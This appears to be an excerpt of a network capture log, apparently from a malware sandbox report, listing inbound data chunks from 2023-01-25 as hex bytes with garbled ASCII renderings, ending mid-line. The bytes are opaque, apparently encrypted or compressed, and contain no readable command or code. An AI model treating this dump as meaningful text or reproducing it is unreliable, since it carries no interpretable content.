2023-01-25 08:44:47 UTC	2529	IN	Data Raw: 75 ad 54 33 b3 c9 be 2f 87 6a 04 64 78 b5 35 2a 9e a0 ca 95 42 d9 65 16 d1 bf 88 bd 8f f8 b1 ab d4 77 46 38 59 04 f3 99 b1 72 ea 59 ad 9e a6 c4 f1 9f d6 db 7d 0d f1 7b 9d d8 b6 b0 49 81 61 f5 5c f3 32 05 5a 95 49 ab 16 55 e0 1a 5b 8c 27 44 1a ff d3 52 8d a5 67 f0 32 52 bd cc 51 60 64 3a 4a c3 b4 b7 e2 b4 0d e8 32 ee 27 14 0f 3f 0d db c3 35 d9 86 b5 cc df 8a a5 09 73 7e d7 e3 24 88 8e 85 7a a9 88 5d 82 fa 41 86 51 dc 49 56 f1 a8 81 9b 81 a9 c3 ec f6 0c 8c 82 fb d8 dd 15 d2 84 51 86 8c 3f 94 54 b6 bc 85 f0 7f fe ad a8 61 be ee 37 c2 7c 3e 4a 3b f8 ff da 3b 04 a4 2d b9 67 40 a5 96 5e 73 75 97 64 9a 79 d8 6b b0 a7 c1 9e 4d f9 85 70 75 fa b5 64 2b 55 e3 09 8f d5 eb 77 db e4 ac 67 3f 1a 66 86 82 d1 02 f5 3a a3 57 3c 17 6d 9b d6 55 26 b1 26 b1 c4 5c 15 b0 3e 6d Data Ascii: uT3/jdx5*BewF8YrY}{Ia\2ZIU['DRg2RQ`d:J2'?5s~$z]AQIVQ?Ta7\|>J;;-g@^sudykMpud+Uwg?f:W<mU&&\>m
2023-01-25 08:44:47 UTC	2545	IN	Data Raw: 77 18 50 08 a9 75 d8 bb 11 10 b6 01 0f 1b ac 67 13 e0 9e 4b 1f 14 c3 7d 66 dd 8e c5 d9 d3 23 9d d9 25 69 7d cf 3b 4f 4b e9 fd 89 0d e5 67 1b fc 0c 24 3c c0 3c 2a 1d 12 ae 16 e9 4d 41 81 e7 99 f4 9a c3 ab 55 ea bb 21 1b 72 2a 7f 44 6d 02 bc 16 a8 8e ea f7 7a ea e2 44 55 17 08 15 fb ce 9e e6 e3 a1 aa c0 7b fb 9c d2 85 2e 43 8c ff fb d4 e3 41 be 16 05 42 9c c7 5d be 59 88 74 73 e4 9b 26 89 87 c9 ed b6 e9 9c 28 e5 ca 5b a3 3a 30 2e 4b bb 47 58 8d 55 fe 01 60 74 76 93 a5 d6 63 6a 5f b6 e7 8e 7c b6 52 e9 b5 82 48 1a 41 e6 13 7d d5 23 19 ab 0f 11 f2 3a 6b 3c 0e ac 3c a9 42 ac 90 c1 f8 28 fe cd cd b0 04 9b 35 e2 ef 1b 42 4d a4 69 43 bf 96 92 7e f1 0e 53 72 82 14 0c 71 89 67 13 22 21 0b 22 78 e2 b1 14 5d 38 03 62 db 5d 30 a5 7c 4c a9 15 c6 1d 94 30 0f 96 ae 7f ec Data Ascii: wPugK}f#%i};OKg$<<MAU!rDmzDU{.CAB]Yts&([:0.KGXU`tvcj_\|RHA}#:k<<B(5BMiC~Srqg"!"x]8b]0\|L0
2023-01-25 08:44:47 UTC	2561	IN	Data Raw: 63 c4 5a 74 1c d1 96 3f e2 7d 32 b3 24 b7 67 e9 13 20 d3 db 8a d4 35 fa 03 76 d3 88 e9 57 1b c1 99 32 0d 3f 18 f8 32 8d 92 47 84 7f 90 bf 95 7e ce c4 0f 4c 65 45 3a 10 f9 86 cd c5 25 0c 1d 6d 9e 5a ab 4d be 8c 72 da 0a a6 5a a9 f8 14 d6 2a 2c 82 78 f7 fa 13 a4 b7 71 e4 43 b8 61 c9 be 47 29 b3 c6 bd 81 3f 4a c0 8f 7f 51 a1 5e 7d 66 5b 3d f7 9e 8f d7 a5 0c d8 d6 2b 28 57 1a bc 79 af 29 f9 13 e7 29 0b fa b3 13 93 c7 12 5d 0d 41 d0 21 8f ed d1 49 21 ad ba 60 44 10 2b 25 37 2e fc 8c 9d 54 24 b7 ae 3d 52 7a af c7 3a ac ae 62 79 73 c4 ad 9e fd 40 41 07 c9 5c dd 0b f2 d4 d2 1b f5 fb 0c c0 3b 1b 07 c0 2c 38 49 c4 d8 71 e6 68 1e 35 bc fb a8 8d 89 39 7b d7 95 f5 6b 04 bb f4 a8 21 bb 5a 74 87 ac 8a 6a 60 1a 96 d2 53 4c 39 f0 f5 dd 15 d4 8b f0 fb 00 02 10 92 19 d6 20 Data Ascii: cZt?}2$g 5vW2?2G~LeE:%mZMrZ*,xqCaG)?JQ^}f[=+(Wy))]A!I!`D+%7.T$=Rz:bys@A\;,8Iqh59{k!Ztj`SL9
2023-01-25 08:44:47 UTC	2577	IN	Data Raw: 59 11 1f 71 86 37 23 82 e5 c9 3e 06 28 73 dc 06 54 a1 2c fd bc bb 2f 50 ec 4e 59 c4 4e 59 7f 6d f6 60 c5 a2 80 ac f4 4a 35 2e cf 32 08 7b eb a5 3c c9 25 21 d9 ec e3 b5 52 2d 1c 83 e4 62 16 eb 69 c9 5f 6c b1 54 de c6 2f 2a b1 f8 bb 02 dc 34 e4 67 48 62 7b 56 55 fc 96 26 bf 5e d9 93 18 f9 d2 3c ef 81 27 27 89 02 77 db e2 6d ca 0a 83 39 86 dd 0a 7f 7a 9f 81 20 59 7d ad ae d3 e3 e1 98 3f b3 fd 7a d0 48 e8 ed 49 f7 d5 39 54 41 90 a0 4e 79 64 70 ce 2d ea 14 85 5b ce 0e ed 82 f9 1c 8b 45 85 c2 94 53 22 63 f3 1a 27 0e 84 3e 97 fd 7e 5d b6 45 bb 85 a0 27 5b 01 e3 af 75 9f 12 70 ea 96 d3 9e ca 01 bd 96 19 18 ab 95 e0 9e 31 c5 22 36 23 d1 7b 4b 18 e3 d6 d0 91 6d ed ba c5 d2 95 56 7e a1 66 82 39 23 f3 b2 94 1b 69 67 61 79 6a 7c 60 ec 62 42 f8 dd 13 62 b1 4a 06 4e 89 Data Ascii: Yq7#>(sT,/PNYNYm`J5.2{<%!R-bi_lT/*4gHb{VU&^<''wm9z Y}?zHI9TANydp-[ES"c'>~]E'[up1"6#{KmV~f9#igayj\|`bBbJN
2023-01-25 08:44:47 UTC	2593	IN	Data Raw: cd bc b6 3a 9e 62 5b de 88 2b dd b1 2a f7 fc 6c 36 13 db a3 12 f4 fa 14 c8 49 29 d2 24 34 a8 08 f0 99 fc 65 d9 11 b0 29 f2 fd 1d 43 1a 8f a4 96 21 12 78 38 28 6d f5 15 39 c3 ce 78 3b 71 55 38 a4 01 5f a8 7d 20 ef 9d d8 96 53 32 83 d7 26 b8 1a dd b9 0d 7a a5 95 95 8a d6 90 2d 62 af 32 14 57 f6 42 e3 3d bc df 30 44 b8 0d 72 93 66 f8 10 50 e7 51 4e 4e 7e ee d8 63 93 24 d0 2c fb 03 d6 a2 37 6c 1c c2 ba 69 3d 08 7a 70 b6 5b eb 0c 19 b4 8a 46 b9 83 8e 35 5f 29 10 28 b2 d5 bd 7e 50 7e 03 23 57 fa 39 bd fb 41 ec e1 4a 1c 2e 3d 65 25 8c 01 01 e8 35 45 35 bd b2 8a 6d 93 88 55 86 39 a4 c5 6d 64 cf 00 7b 19 96 5c 36 7a 06 e1 2c a4 84 25 85 21 52 df d7 e8 3d ba 0c c2 49 90 fe 6b 46 0b b2 b8 ea f7 a9 7f ae 8e 82 69 1f a5 52 8e 21 b0 80 62 48 fc c1 e2 b6 9e 68 2b fa c9 Data Ascii: :b[+*l6I)$4e)C!x8(m9x;qU8_} S2&z-b2WB=0DrfPQNN~c$,7li=zp[F5_)(~P~#W9AJ.=e%5E5mU9md{\6z,%!R=IkFiR!bHh+
2023-01-25 08:44:47 UTC	2609	IN	Data Raw: a9 82 36 25 ff 4d 2a 28 0e d3 b2 8d d3 0a c0 93 3d 73 10 19 ae 8c a9 66 82 e5 6e 92 e9 97 aa 4e ce 49 1c f7 6c c1 43 f3 54 5a 86 d8 30 33 b3 19 30 7e 76 38 c2 00 cb d1 90 91 74 fe ba e4 b3 0a db 61 39 50 a1 5b fc 9f 19 62 c3 e1 51 46 70 1d 1b 75 f5 33 d0 70 88 4f 9a 20 35 7b b4 41 38 35 f0 9c f1 76 13 a7 46 b2 59 08 ba 9b 22 f3 a9 80 37 3c 8d dc 1f 9c 12 ff 85 f9 ef 80 81 ae 46 60 da 96 15 36 a1 2d 1f 5f 5b bf 16 c7 2e 54 dc 5a c5 7b 7b 4a ce 40 44 48 5d 32 72 27 69 da 91 92 e3 bc 6f 8d ea 05 8b fe 36 9f d4 f9 d8 91 18 ae 6e 1e a6 b7 63 f0 5d c0 ee 1f 0a ca dd 67 05 af 08 70 68 ae 70 53 da 02 d6 10 1f 83 d2 ed eb 0f 53 5d 14 a8 d4 6b 91 20 8e 81 13 9b 51 93 88 fb c2 36 30 2c 63 73 26 10 85 11 78 c5 d4 f3 83 f0 e2 c3 e1 ff 09 3a 8a b2 f8 3b e2 70 52 62 2d Data Ascii: 6%M*(=sfnNIlCTZ030~v8ta9P[bQFpu3pO 5{A85vFY"7<F`6-_[.TZ{{J@DH]2r'io6nc]gphpSS]k Q60,cs&x:;pRb-
2023-01-25 08:44:47 UTC	2625	IN	Data Raw: 57 b0 a9 31 7c 39 af 4e f8 7c 62 fa 1c bd a2 d9 28 c9 33 66 4c 11 6d d8 eb 4a ba bf 17 53 0c 4e 4e f9 fd 7e 6f 2d c4 22 99 5e 3c 99 75 bb 54 d3 c6 6b 60 56 5e 7d c5 65 d6 18 48 1d ec ca 9b c6 aa a0 5b 2f 0e 28 3b 5c 65 84 09 11 7c 51 8b 4d 77 fe 15 29 4b 67 0e 30 0e 20 26 3d 8e 46 cf 1e 3f 7f 95 f0 64 87 f3 92 46 ca 9c e8 7e 86 f3 35 54 6b 9b 56 98 2a c2 32 5d d2 a2 b6 a9 ea e5 4b 5e 1c 53 27 c8 48 72 f7 95 da 36 63 4c b1 cb c6 03 f6 62 e7 08 d2 b2 b8 b7 73 8b 89 8d 4d 4f 13 50 db 73 86 84 47 51 98 de 34 de 19 8b c9 12 99 da fe 02 e1 68 7b f6 4a a4 9e b9 bd bf 31 a8 93 c0 c6 59 c2 4e d5 f2 d3 8e 58 28 30 80 bb 06 67 73 98 71 16 07 ed 9b 34 8e e3 bd ba 7c 1e 03 e7 91 40 31 a0 cf 2f da f4 95 da 7a 94 6d 5c 1d 8e 58 1c 59 50 86 60 93 7a c5 39 4a 01 7d b0 9a Data Ascii: W1\|9N\|b(3fLmJSNN~o-"^<uTk`V^}eH[/(;\e\|QMw)Kg0 &=F?dF~5TkV*2]K^S'Hr6cLbsMOPsGQ4h{J1YNX(0gsq4\|@1/zm\XYP`z9J}
2023-01-25 08:44:47 UTC	2641	IN	Data Raw: 2e 71 fe 23 97 97 e1 a2 bb 92 0c e7 1a 45 a9 71 09 af b2 65 4d aa 9a c2 f2 8a 47 11 12 9d d7 34 45 c6 f8 fc bd a4 fa 24 a4 2b f0 f6 ec 5a 66 45 82 3e a8 49 79 94 6e 24 14 34 89 02 87 01 ab c2 7d 64 05 c4 fa 12 2e 99 85 64 28 40 e8 f2 e3 5e 49 03 d4 f8 87 38 b2 0e fd 15 13 93 1b 27 66 0c 28 94 bd de c5 49 e1 5b a0 9c 99 e3 7b 62 b3 08 0b 2f 41 db 09 01 df d2 a1 78 2e 81 01 6c 89 9b 27 d4 f8 3b 9a 5d 35 f8 b6 ec fb 6d a0 08 00 2a f9 37 b8 dd ce 6f d7 2b 34 0f 61 67 f0 aa f5 6c c9 27 ba bc f6 0d b6 a3 30 ce ba 9d c9 77 38 c7 ca 63 ec 7f 83 ec c1 7a d0 bd 92 c1 ee 18 f5 85 b2 0a 0b ca be 79 ed 72 5e f8 df 28 a0 72 d3 8e 26 07 69 8f 1b d6 35 93 6d e1 4c 07 71 71 00 05 7d 65 e7 51 1e 4c dc 9f f4 9b d9 d7 27 e6 64 4e 91 3a 14 30 ed f4 d7 3d 18 16 15 63 56 da dd Data Ascii: .q#EqeMG4E$+ZfE>Iyn$4}d.d(@^I8'f(I[{b/Ax.l';]5m*7o+4agl'0w8czyr^(r&i5mLqq}eQL'dN:0=cV
2023-01-25 08:44:47 UTC	2657	IN	Data Raw: 62 e1 37 67 24 ee 91 fb 80 39 a1 ba 3b 1d 17 50 34 61 e1 1c 84 09 ed 18 c4 11 40 30 ed 5a e8 05 1b a8 2a 30 9b 76 c8 91 d4 6e fa 4c 4f c5 31 10 b9 26 cd 41 7a 64 59 7d c1 f5 1d 7f 98 f7 19 93 dc 86 75 c1 55 95 c5 a7 5d c8 e2 a6 bf dd d8 d6 f1 ae 36 61 dd d2 d5 7d eb 25 6c 98 f9 1d 2e cd f5 cf 58 37 1e a5 5b 82 36 42 8a e2 95 1c 59 5a 5a 6e cc ef 70 a2 df e1 de 1c ad 06 db 31 96 3d 16 55 a2 dc ea df 4d d6 bd 70 53 01 75 98 9e 5d aa 5e 84 da 2f 2e a5 79 40 a1 43 52 5a 6e 4e bf de 84 e9 0d f1 d3 b5 04 91 ae d6 bb d9 0f d3 23 f5 8f 4d b4 e6 73 ec a5 6c 91 16 e9 91 4b c0 e4 11 cf 0e 71 20 e1 97 28 da ca cc 65 13 1f e6 d7 22 4f 9f e9 93 70 1d fc ad c9 f9 0b 27 ac 4a 21 29 c1 b1 9c b9 b1 ce db 3c 52 08 a6 77 ce 6e ca 0a da 12 1c 83 a1 18 32 7b e8 fe 6a a9 60 1b Data Ascii: b7g$9;P4a@0Z*0vnLO1&AzdY}uU]6a}%l.X7[6BYZZnp1=UMpSu]^/.y@CRZnN#MslKq (e"Op'J!)<Rwn2{j`
2023-01-25 08:44:47 UTC	2673	IN	Data Raw: cb b5 96 d2 35 97 c8 54 d6 c8 32 8a 6d 68 a2 a4 4a 55 c0 bf 26 ef c8 67 ea a0 c1 97 0f 57 3c d8 48 3d 83 75 9e cd e3 2c b6 f0 76 76 20 73 0a 15 7a 1b 19 2c cd 29 35 ee b4 19 76 60 06 e4 d7 0a d9 86 fb 09 0c 3d 6e 33 16 fc 6b 48 fd ba 8b 4b 1b 76 ae f7 dd e3 e8 58 c8 4c d8 19 4b e6 57 33 de 41 31 63 48 33 7a 9a 86 27 dd 9c 68 4e d9 e1 24 09 07 65 f6 be 6a 0b 0b bf 6a 19 fa cc b4 d8 50 3e 94 73 fb 7a 67 3f d7 b0 e2 77 e0 b6 61 c4 d0 08 20 d3 20 ce aa d9 d1 5e ac fe b7 1e a5 24 31 98 20 a6 18 5f 28 ea dd 6a e2 ce f2 7f ff 1f 8d 08 fb 4d e1 58 75 25 aa a9 0d 12 d6 af 31 f6 e4 3d df 8d cd 95 45 15 55 09 07 92 2b 78 61 58 20 52 81 49 ef 72 72 43 9d ee c5 c7 bc 88 4e 23 d2 1e 2c 05 ac 35 9e 45 a8 95 36 cb b2 9e bf 46 4a fc 33 38 b9 08 08 9e 9c 27 c1 5e a7 79 a2 Data Ascii: 5T2mhJU&gW<H=u,vv sz,)5v`=n3kHKvXLKW3A1cH3z'hN$ejjP>szg?wa ^$1 _(jMXu%1=EU+xaX RIrrCN#,5E6FJ38'^y
2023-01-25 08:44:47 UTC	2689	IN	Data Raw: 84 59 b7 bf e9 57 0e d3 77 26 b5 2b 43 a6 04 d0 a5 3a a0 60 40 56 59 76 a3 7e 0d fe f7 db 66 e2 f3 83 3f 45 17 6c b2 fb 23 20 46 9f 23 bc e0 ae 1e 58 36 d3 df b9 c1 b9 7b 51 42 fe 3f 77 5a 9d 54 21 02 ed e8 0c de c3 62 b3 33 a3 74 c4 e3 57 39 65 6e d9 de 0d 8f 88 76 cb c3 5b 6e fe 36 16 f0 48 6f 09 bf 2e 90 e9 0b bb 63 d1 b1 44 54 24 a5 75 c6 e7 e5 a3 d5 11 4c bb 27 c5 eb 05 0c d9 3e 7d 99 5f 9b c9 2c f9 63 35 f2 3f 24 6a b0 3b 7b 56 00 e3 7a e5 1b 76 3e e2 b2 31 00 c8 aa 0a 11 d6 ea ed f2 ef 2f 25 27 db d8 65 5f cd 5a 87 40 45 aa 9f 00 dd ce 15 af 16 9f c7 ab 0a 8a b4 ee 33 40 a0 ff cf f6 d5 0c e6 1b c4 a6 81 36 f0 f9 7c b1 55 09 97 d4 ef a4 ed 29 2a 11 11 c8 50 77 40 ea c9 58 c1 ff 13 4d bb d3 d9 11 f9 e9 5f 86 ba 99 b1 bc ba 66 2a 5b fd ba 6a 8c 38 0e Data Ascii: YWw&+C:`@VYv~f?El# F#X6{QB?wZT!b3tW9env[n6Ho.cDT$uL'>}_,c5?$j;{Vzv>1/%'e_Z@E3@6\|U)Pw@XM_f[j8
2023-01-25 08:44:47 UTC	2705	IN	Data Raw: 2a 19 85 f5 17 a5 93 f7 81 af 4a 7c bd 6e 33 e0 a0 a1 3b 4c ea c1 d3 aa 41 49 2a bb e6 2a ce fd 92 58 44 3b 9d df 3c ee ba 80 d7 e3 2c 22 31 49 17 3e 6b 25 be 94 48 29 d8 77 57 f2 b4 e3 2e 3e 26 91 09 6f 4f aa 76 35 f6 77 3a ae 2c 3f c4 53 bb bc c1 55 cb 77 44 a7 c7 26 63 3e f6 b1 bf 0b 7b 0b 7a 42 a4 87 91 83 18 d5 f1 37 3f 04 14 e7 79 32 b9 5d 17 b9 b4 e7 0f 2c 0d 00 17 89 05 1b 80 dd 63 3b 86 33 36 f7 a0 95 f0 16 2e ef 94 de cb 3f e1 66 48 02 0a 26 fc e9 eb b2 01 40 c4 2e b2 25 f9 72 9a 36 c1 04 d2 7d 1b 71 7f 61 8e a3 48 d1 84 ec f3 d9 f1 e8 a6 7a 9e 8e 48 54 f8 68 04 5c 2a a6 52 1e d0 1b 30 d3 51 90 b5 25 e2 d6 9c 0b 86 f1 97 4d 60 63 8d e3 f0 b2 a0 5e 82 bd a1 71 2a 9e 3e 69 91 e1 7c c0 66 08 68 9a dc 45 41 bb c1 51 94 98 a9 93 08 4d ba 95 58 a3 b0 Data Ascii: J\|n3;LAIXD;<,"1I>k%H)wW.>&oOv5w:,?SUwD&c>{zB7?y2],c;36.?fH&@.%r6}qaHzHTh\R0Q%M`c^q*>i\|fhEAQMX
2023-01-25 08:44:47 UTC	2721	IN	Data Raw: 77 31 dc 7a 5d d7 15 9a 7f ce 2f a9 90 db ad 1d e1 60 a1 af 67 32 f1 54 62 c3 fd 54 06 4c 76 6c c4 d5 77 af 21 a7 1b 43 2a 50 d7 92 3e 68 f9 b8 9c 13 10 51 93 5d be e7 38 21 8d 18 79 03 14 e3 25 98 3f 12 7a bf 98 cd 9e 1e fd 36 25 c4 10 a3 8a 04 86 00 66 51 55 26 c6 06 7d 00 89 7e 4a 54 9c 7f 79 b1 37 a1 45 e8 76 e5 f7 8a 0e 02 80 5d d6 a4 b5 23 06 41 c1 96 9c 46 3e 8b 4c bf a5 55 ae 9b 85 bf eb a3 ab 01 33 d0 42 25 ff cf 6b ec 75 3a 1d 74 45 26 74 04 cf ee f6 de 8e d6 8e 32 9a 0a 05 ec 4a c2 50 84 91 d8 1e c8 dc aa 34 b4 17 52 6c bc 7f ff fe b1 3f 4a 3e f5 fc 3b 5d 4b 71 ec cc 34 6d 59 48 6e 06 ac 98 89 33 88 10 ac 09 ca 38 1c ff 96 d7 1a bf 11 26 1a 82 a9 61 d0 4d 40 f6 9d 0a f7 31 49 b4 b0 70 28 39 16 ce d9 b6 c8 12 dd c7 a0 1d 69 ff 3f e3 7f dd 16 57 Data Ascii: w1z]/`g2TbTLvlw!C*P>hQ]8!y%?z6%fQU&}~JTy7Ev]#AF>LU3B%ku:tE&t2JP4Rl?J>;]Kq4mYHn38&aM@1Ip(9i?W
2023-01-25 08:44:47 UTC	2737	IN	Data Raw: 9b 97 78 ba 3d b9 63 08 70 61 0e 14 3e f3 ec 9d 39 98 33 52 e3 80 b9 7c 20 49 22 37 f0 9c 6d d9 63 47 aa b2 88 ef 83 a1 ee e7 4f cb fc 69 51 af 29 05 50 13 14 e0 62 2d 99 64 9b fc 2b 05 02 f0 ae 64 80 b5 4a eb d2 8b 3e b3 a1 0e 89 f4 22 4b ff fd 32 00 70 1c 36 36 42 a3 1c 9a 00 3a e8 e0 d5 f4 4d 71 05 b0 a3 e6 22 34 31 3a a6 79 18 54 51 fc bf 12 07 82 68 cb 6f 96 95 37 9c 75 fa 0e 01 74 ac b5 7e 42 c2 f8 7c 9f d8 67 58 98 19 71 ce 02 dc 2f 59 7b 1d 15 aa 76 3f 27 b2 2f fc ec 3d 52 ff 3d 8f 9f 60 94 83 21 52 af 13 44 c7 51 f0 85 61 f4 37 89 3c 6c 0e 6b ea 1c 26 6b 49 b9 ac ad 53 f2 56 50 e7 a2 ed 4b d5 df cb 31 c3 b5 2b 35 93 ec 57 21 47 f7 11 1e e5 f2 b6 18 88 20 84 3b 62 1b 09 b4 b4 ef 3f 9f b8 f5 99 a9 07 d9 a7 e4 3a 20 89 b3 43 56 00 83 63 6c 3b a3 e8 Data Ascii: x=cpa>93R\| I"7mcGOiQ)Pb-d+dJ>"K2p66B:Mq"41:yTQho7ut~B\|gXq/Y{v?'/=R=`!RDQa7<lk&kISVPK1+5W!G ;b?: CVcl;
2023-01-25 08:44:47 UTC	2753	IN	Data Raw: 1f 56 1b 0d 9b b3 b5 1a 42 8e b5 e9 cb 58 14 9f ab 81 ee c5 76 33 4c db b1 bf 74 8c 15 82 38 8b 4b a0 77 c9 3a af 04 2b 32 1d ea 54 a5 4b 01 49 dd 87 b0 c1 bd 10 60 3f 3c 88 b2 05 f7 ec 92 c8 78 d0 25 5a 82 10 9b 94 60 43 36 5f df 66 81 91 28 e6 4d d5 80 53 e7 01 4d 06 18 42 09 fa 65 66 bc 45 69 8e ec b0 4f 23 80 23 b8 f1 25 d7 d8 5d 62 70 05 12 33 98 b1 25 b0 7d 84 ba a7 df f9 af fa af de c8 db 91 58 35 b8 35 83 45 57 95 1e 32 08 77 e7 e8 a8 0a e6 60 da 58 c9 dd e7 c1 9e 2c 9e 24 18 3a b5 f5 59 e8 b0 4d 71 a9 09 7b 04 7b 9f 97 da 1c 37 a4 ed e9 95 60 ba ef 50 d0 5d df ce 9b 89 ee 6b 50 2a e3 76 df 30 2d 67 1d 7a d6 a6 35 b0 f8 55 f7 ce de b5 40 86 0c ab e8 31 5b 07 10 cc 03 ea 88 a6 1c a9 f4 05 e2 bf f7 81 69 d9 58 bb e1 57 22 e2 fe 59 44 5c 87 30 9f ea Data Ascii: VBXv3Lt8Kw:+2TKI`?<x%Z`C6_f(MSMBefEiO##%]bp3%}X55EW2w`X,$:YMq{{7`P]kP*v0-gz5U@1[iXW"YD\0
2023-01-25 08:44:47 UTC	2769	IN	Data Raw: 7d d3 85 1b 9f 86 81 8f 08 99 c1 02 7b a4 b6 37 ea 08 a5 46 60 0c 68 a5 54 5a fa cc 86 bb a4 6f 7b aa 6f e2 93 33 74 8b b2 d7 1a ed 42 b2 98 12 c4 d5 ee 41 f9 f9 7d b1 ec 77 a7 37 cf a8 28 26 ce da 2e 1b 96 bd 60 4e 0e 76 f2 67 59 59 d7 28 54 52 6c bc 25 42 29 b3 e9 c3 dd 44 cc d0 e8 65 a2 05 66 4c d6 ec 30 47 2a cf 89 90 a2 e3 a1 c9 9b 41 41 a3 75 3f ca 18 ef 30 a7 b7 18 89 05 38 88 71 fc 03 7b 4b 6e a9 70 58 ed b1 94 e0 69 9b 14 3c 51 ad fd 28 60 f1 1f ed d2 6e f9 32 c6 5a 37 d6 8b b5 9b cd 29 b3 75 54 f0 48 3a d0 5f 2d c8 4a 1b da 86 9c 5a a1 43 e5 dd 34 a1 e6 dc 01 aa 04 7a cc 62 44 de 5a a7 2f f3 71 78 f5 b3 93 ac 4c 41 91 72 d1 89 24 28 23 cc d9 f4 03 37 0c 60 6f ca 77 42 7a 7c 53 14 c8 18 c4 cd 69 09 9d 0c 57 bb b9 7e 47 4f 13 4b b4 36 ca 8b e8 6f Data Ascii: }{7F`hTZo{o3tBA}w7(&.`NvgYY(TRl%B)DefL0G*AAu?08q{KnpXi<Q(`n2Z7)uTH:_-JZC4zbDZ/qxLAr$(#7`owBz\|SiW~GOK6o
2023-01-25 08:44:47 UTC	2785	IN	Data Raw: 37 8d 9e 45 ca 64 39 56 a2 e6 83 5c 3f fd a7 da e7 50 a0 f1 4e 70 d7 ba 5c 63 fa 2f 12 29 18 72 e3 43 2e 8a 56 31 15 3c 6f b8 c8 74 9a 49 6d a4 4d d6 60 21 35 56 82 e5 1b 23 13 6b 1d f0 82 45 3e 59 7d e8 7a 7c c3 78 be d8 6f 6a f8 7d f3 e1 12 2e a8 3d 4d f6 ec 3c 4b 84 db f9 45 8c 31 b3 c7 5a fb 8f 2b 43 6f 88 cf 8d 44 36 2a 86 df df 18 d7 22 0e 58 60 19 8d f0 b4 1d 11 8e 0d 9d c5 e8 33 ed 06 ef 27 85 41 91 9d 2a bb b6 bc 76 6f dd 67 fb b6 70 ca 61 62 6a b6 6d 34 b2 d8 1e 2c 5d 02 f9 ad af 46 d3 03 c4 2b b4 94 93 17 a1 91 cf bc a0 ab 77 c2 95 40 9d d6 ee b7 99 d0 ab e7 4a a7 10 50 5f 01 f7 48 a9 7d 89 82 a3 d5 53 99 d1 71 2a b4 a4 e4 45 30 e4 53 58 af 2d ff ed cf 75 82 4b e1 50 8e 3c a9 dd ad c6 da e5 f7 02 ab 5f d8 7a a6 48 75 b9 bc b1 0f 64 96 c6 0a 29 Data Ascii: 7Ed9V\?PNp\c/)rC.V1<otImM`!5V#kE>Y}z\|xoj}.=M<KE1Z+CoD6"X`3'Avogpabjm4,]F+w@JP_H}Sq*E0SX-uKP<_zHud)
2023-01-25 08:44:47 UTC	2801	IN	Data Raw: 2c 63 56 79 bf 91 58 e2 f7 4f 8f b5 60 f0 e4 9d 4f 99 8b 25 85 95 b7 c4 e1 61 87 03 f7 f9 01 d8 88 65 e4 0e e2 7c f6 a9 e9 29 2f ee 50 3c be 97 dd 64 84 58 f2 67 53 0b b1 7d 6c 53 a5 0c dc 5a 30 3c a8 75 30 38 93 92 6d 96 b7 ef a9 8c d8 d5 1b f3 27 2c f0 f4 1e ad 85 e4 35 5a 4c 78 98 ce 0c 2d e7 a4 73 2c 5a 5a db a5 f6 f7 c0 9f 73 e7 7e 4b c1 37 17 7a 8a ed 4c fa 2a e6 5e 5b 56 1e ca a3 83 69 64 2f eb 97 36 4c 63 f2 74 99 e2 fd c5 37 8b da 3e 20 cd 6c 1d 43 74 b7 bc ad fb 4b 94 48 96 84 4f ff 01 fc a6 f3 a6 08 24 28 38 c4 ab f2 f6 25 f7 ba cb 7a 34 fa 9c 7d ef 0e a3 aa 18 89 ae 1d a8 df dd 82 8a d1 e2 5a 52 74 09 b1 9c c6 60 46 d7 2c 81 55 60 75 ae 92 4c 8e 3a c8 c5 c6 66 54 29 a3 76 8a ef 0c 52 3e 04 fe 66 80 e9 08 1d 17 52 4e 0e c7 00 6a 22 bd b2 73 92 Data Ascii: ,cVyXO`O%ae\|)/P<dXgS}lSZ0<u08m',5ZLx-s,ZZs~K7zL*^[Vid/6Lct7> lCtKHO$(8%z4}ZRt`F,U`uL:fT)vR>fRNj"s
2023-01-25 08:44:47 UTC	2817	IN	Data Raw: 40 df 74 7d 29 8d 9f a5 80 a9 0d 42 09 f2 4b 1b cd 52 5a 43 85 ef 14 9a 81 b7 03 19 d5 c9 fe 0a 27 89 c2 25 33 0a 89 8d 29 2c 25 2c 55 29 1c 44 94 99 95 e9 54 fd 63 e3 78 a8 6c 90 69 ab 6d 5a 74 41 bb 2b 55 c2 89 fa 5f b9 0a 94 7f 70 83 f5 3b 6b 70 be 2b 49 fe 73 19 47 4b 60 69 47 54 dd c3 65 95 4d a5 19 ca 9b 1e 18 a5 5c 30 e9 f4 94 d2 1b 99 3a 31 53 4e 65 a2 62 03 fa 42 91 38 49 29 3a ac 10 fa bb 13 b9 69 f9 47 27 17 e1 e9 44 1f 24 6b dc c3 01 69 28 96 ef f4 5c 9a 06 2d b7 13 5e 60 cf b1 f2 74 e4 8b 53 03 3b ea 6b d2 8a ea 0b 79 6d 42 97 7f 87 43 8c 04 f9 b0 45 3c d8 c3 d5 bb c5 e6 38 f5 37 89 58 50 5b 72 75 44 e0 0e 6d d5 b7 9c 96 3b b2 46 18 e2 0f a4 7e 0c 83 4e a1 b6 84 b7 be 98 5f f4 b2 a0 20 aa 79 82 4a 51 3b 7e ed b6 43 a7 eb fc af fc 45 1b a5 2d Data Ascii: @t})BKRZC'%3),%,U)DTcxlimZtA+U_p;kp+IsGK`iGTeM\0:1SNebB8I):iG'D$ki(\-^`tS;kymBCE<87XP[ruDm;F~N_ yJQ;~CE-
2023-01-25 08:44:47 UTC	2833	IN	Data Raw: e3 1f a2 2c d1 0b 11 2c f0 2d fc 6d 90 4d 19 d8 b7 c7 ab f5 e9 28 a7 4d 0b fc 16 b6 5d 0d a1 13 a7 0c 67 9b a8 7e 2d ad fa c1 a4 ee 2b 0c 80 f1 dc 69 00 50 b4 db b6 0a 90 4b 79 ae 4a 51 91 4c dc 65 43 28 47 36 7d cb d2 6b 10 73 1a 3f 47 1b a3 6d a6 db 18 44 d1 45 3c 45 5a b9 85 bc c4 23 9e 2c 2e ff 1d ef 71 af ad 4d 2d e0 ad e1 84 d9 9c 15 9d 8a 43 56 e0 e9 ff a5 19 a7 55 49 fe 68 80 bf 42 17 45 b5 b9 41 b8 41 53 9c bd f2 22 34 56 82 e9 87 ae 11 d5 7e d5 00 c0 01 4d f4 7d ec 00 af 96 f4 87 13 9d 0a 2f 2a 44 8d 3d 4e 53 73 c2 90 dd 1b d5 67 4c ee 26 66 08 20 45 27 87 0b 6c f5 14 27 82 87 69 ec df 71 96 ad c5 73 fb e2 e3 2c 41 d0 6d 81 95 db 6f 89 d4 0b ac e5 35 3d f4 43 a1 a5 12 b1 8b dd 55 dc a6 cb 8a f1 dc df 9c 95 4f d8 09 b0 cf e7 88 16 a5 